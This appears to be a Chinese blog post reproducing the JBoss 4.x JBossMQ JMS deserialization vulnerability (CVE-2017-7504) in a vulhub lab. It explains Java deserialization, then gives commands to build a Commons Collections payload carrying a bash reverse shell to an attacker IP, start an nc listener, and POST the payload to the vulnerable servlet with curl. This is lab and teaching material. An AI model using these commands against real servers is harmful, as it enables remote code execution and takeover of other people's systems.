漏洞复现之JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
前言:
序列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。
Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。
问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。
Apache Commons Collections
是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。
首先这个漏洞与CVE-2015-7501一样,都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。
差别在于CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。
此次环境尝试用docker搭建。
靶机:
ip:192.168.112.132
操作系统:ubuntu18.0.4 LTS
攻击机:
ip:192.168.112.133
操作系统:kali
一、环境搭建
1.docker的安装参考
https://www.howtoing.com/ubuntu-docker
2.安装完docker后,直接拉取vulhub的源码。
https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-7504
3.靶机启动服务
执行如下命令启动JBoss AS 4.0.5
docker-compose up -d
4.环境启动后,地址为http://192.168.112.132:8080/
至此,靶机部分完成。
二、exp准备:
用法实例:
1)javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
2)java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 '/bin/bash -i>&/dev/tcp/192.168.112.133/4444<&1'
3)nc -lvvp 4444
4)curl http://192.168.112.132:8080/jbossmq-httpil/HTTPServerILServlet/ --data-binary @ExampleCommonsCollections1.ser
三、exploit
1) 选择ExampleCommonsCollections1WithHashMap
,编译并生成序列化数据:
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java #编译
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.112.133/4444 0>&1"
#ser全称serialize,序列化恶意数据至文件。
第一行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.class
第二行命令执行完成后,将生成一个文件ExampleCommonsCollections1WithHashMap.ser
2)发射:
将该文件作为请求数据主体发送如下数据包:
curl http://192.168.112.132:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser
# --data-binary 意为以二进制的方式post数据
反弹成功。
反弹shell也可以使用工具中预置payload的文件——ReverseShellCommonsCollectionsHashMap.java
复现过程可参考:https://www.sec-note.com/2018/03/30/Jboss/
参考链接:
http://gv7.me/articles/2018/CVE-2017-7504/
https://www.jianshu.com/p/d265f9514f7d
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
https://security.tencent.com/index.php/blog/msg/97
https://www.cnblogs.com/ITEagle/archive/2010/04/10/1708989.html
https://www.runoob.com/java/java-tutorial.html
https://www.runoob.com/java/java-serialization.html
漏洞复现之JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)的更多相关文章
- JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
检测漏洞 工具 下载地址:https://github.com/joaomatosf/JavaDeserH2HC javac -cp .:commons-collections-3.2.1.jar E ...
- JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)复现
0x00 漏洞介绍 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中.该过滤器在没有进行任何安全检查的情 ...
- [漏洞复现] [Vulhub靶机] Tomcat7+ 弱口令 && 后台getshell漏洞
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 背景知识 war文件 0x01 漏洞介绍 影响范围:Tomcat 8.0版本 漏洞类型:弱口令 漏洞成因:在tomc ...
- JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
检测
- JAVA反序列化漏洞复现
目录 Weblogic反序列化漏洞 Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271) Weblogic WLS Cor ...
- 漏洞复现:MS17-010缓冲区溢出漏洞(永恒之蓝)
MS17-010缓冲区溢出漏洞复现 攻击机:Kali Linux 靶机:Windows7和2008 1.打开攻击机Kali Linux,msf更新到最新版本(现有版本5.x),更新命令:apt-get ...
- DVR登录绕过漏洞_CVE-2018-9995漏洞复现
DVR登录绕过漏洞_CVE-2018-9995漏洞复现 一.漏洞描述 此漏洞允许攻击者通过修改”Cookie:uid=admin”之后访问特定DVR的控制面板,返回此设备的明文管理员凭证. 二.影响软 ...
- Apache Solr JMX服务 RCE 漏洞复现
Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...
- PHP远程代码执行漏洞复现(CVE-2019-11043)
漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...
随机推荐
- Angular发送广播和接收广播
home.module.ts import {BroadcastService} from "../broadcast.service"; @NgModule({ imports: ...
- 中山纪中集训Day2又是测试(划水)
A组T1 bzoj 2674 Attack Description chnlich 非常喜欢玩三国志这款游戏,并喜欢用一些策略出奇制胜.现在,他要开始征服世界的旅途了.他的敌人有N 座城市和N 个太守 ...
- 详解Azure的权限控制
注意:本文档仅限于Azure国际版,国内版略有不同 Azure中的角色分配相对来说是比较复杂的的,对于任何云组织来说,云的资源访问管理权限都是一项非常重要的功能,azure中的授权系统叫做基于角色 ...
- python:如何获取当前的日期和时间
# coding=utf-8 import datetime import time print ("格式参数:") print (" %a 星期几的简写") ...
- comparison of truncate vs delete in mysql/sqlserver
comparison of truncate vs delete in mysql/sqlserver [duplicate] DELETE DELETE is a DML Command. DE ...
- JVM内存空间划分与作用
虚拟机栈:Stack Fame 栈桢 程序计数器(Program Counter): 本地方法栈:主要用于处理本地方法 堆(Heap): JVM管理的最大一块内存空间 方法区(Method Area) ...
- Tosca:键盘输入字符串
这是方法之一
- autoComplete TextView
这个比较简单,只是将AutoCompleteTextView绑定一个ArrayAdapter就可以了. 界面布局: <?xml version="1.0" encoding= ...
- Vscode 调试 Flutter 项目
1.Vscode 中打开 flutter 项目进行开发 2.运行 Flutter 项目 flutter run r 键:点击后热加载,也就算是重新加载吧. p 键:显示网格,这个可以很好的掌握布局情况 ...
- TypeScript泛型类 - 把类作为参数类型的泛型类
/* TypeScript泛型类 - 把类作为参数类型的泛型类 */ /* 泛类:泛型可以帮助我们避免重复的代码以及对不特定数据类型的支持(类型校验),下面我们看看把类当做参数的泛型类 1.定义个类 ...